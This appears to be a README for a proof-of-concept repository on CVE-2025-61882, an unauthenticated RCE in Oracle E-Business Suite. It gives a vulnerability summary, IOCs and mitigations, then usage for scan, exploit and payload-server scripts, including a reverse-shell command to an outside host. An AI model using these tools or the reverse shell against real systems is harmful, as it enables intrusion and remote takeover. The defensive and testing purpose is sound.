## 📖 About CVE‑2025‑61882
- **Affected Product(s):** Oracle E‑Business Suite (EBS) — BI Publisher / Template processing components (reported in impacted 12.2.x series).
- **Vulnerability Type:** Server‑side template / XML/XSLT injection leading to unauthenticated remote code execution (RCE) when malicious templates are processed.
- **Attack Vector:** Network (HTTP/S) — exploit can be triggered remotely.
- **Authentication Required:** **No** (pre‑auth exploitation reported).
- **User Interaction Required:** **No**.
- **Impact:** Remote code execution, full compromise of the affected EBS process, potential lateral movement, data theft and persistence mechanisms.
- **Patch Status:** Oracle released an emergency patch and advisory (organizations should apply Oracle's provided update/mitigation immediately). Always verify patch details against Oracle’s official advisory for your specific EBS version.
> **Note:** The above is a concise summary intended for README usage. For operational decisions consult Oracle’s official advisory, trusted vendor writeups, and your internal risk assessment.
#### 🔐 CVSS v3.1 Base Score
- **Score**: 9.8 (**Critical**)
- **Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
---
## Indicators of Compromise (IOCs) & Observed Behaviour
- Suspicious HTTP requests to EBS endpoints (examples to monitor):
- `/OA_HTML/configurator/UiServlet`
- Template preview endpoints or pages that accept XSLT/XML template uploads
- Evidence of spawned shell/child processes from Java processes or anomalous Java classes loaded at runtime
---
## Mitigation & Defensive Recommendations
1. **Apply official patches** from Oracle immediately for affected EBS versions.
2. **Isolate/segment** EBS servers — restrict inbound access and restrict egress to only required destinations.
3. **Hunt** for malicious templates and suspicious entries in EBS template storage and database LOBs.
4. **Monitor** logs and HTTP access to template upload/preview endpoints and alert on unusual parameters or large POST payloads.
5. **Block or carefully filter** requests to administrative/templates endpoints at perimeter WAFs with strict rules.
6. **Collect forensic artifacts** (memory, process lists, DB snapshots) before patching if you suspect active compromise.

## Usage — tools in this repo
**Important:** Only run these tools in a lab or on systems for which you have explicit authorization.
This repository contains three Python scripts (tooling is intentionally minimal and intended for test‑lab verification):
- `scan.py` — scanning utility to probe a host for the presence of the vulnerable endpoint(s).
- `exploit.py` — exploitation helper script to interact with a target and trigger template processing.
- `server.py` — simple HTTP server to host an XSL/XSLT payload that the `exploit.py` script references when testing.
### `scan.py` — Example usage
Purpose: non‑destructive checks for exposed EBS endpoints and quick fingerprinting.
**Example:**
```bash
python3 scan.py target_url webhook
python3 scan.py http://apps.example.com:8000/ example.requestrepo.com
```
### `server.py` — Example usage
Purpose: host an XSL(XSLT) payload for controlled tests so `exploit.py` can reference it.
**Example:**
```bash
python3 server.py server_port target_system command
python3 server.py 80 linux 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'
python3 server.py 80 windows 'calc'
```
### `exploit.py` — Example usage
Purpose: demonstration / testing harness that triggers template processing on a target by referencing an externally hosted XSL payload.
**Example:**
```bash
python3 exploit.py target_url config_server_host_port
python3 exploit.py http://apps.example.com:8000/ 8.8.8.8:80
```
Notes:
- **Do not** run `exploit.py` against production systems or any system without explicit authorization.
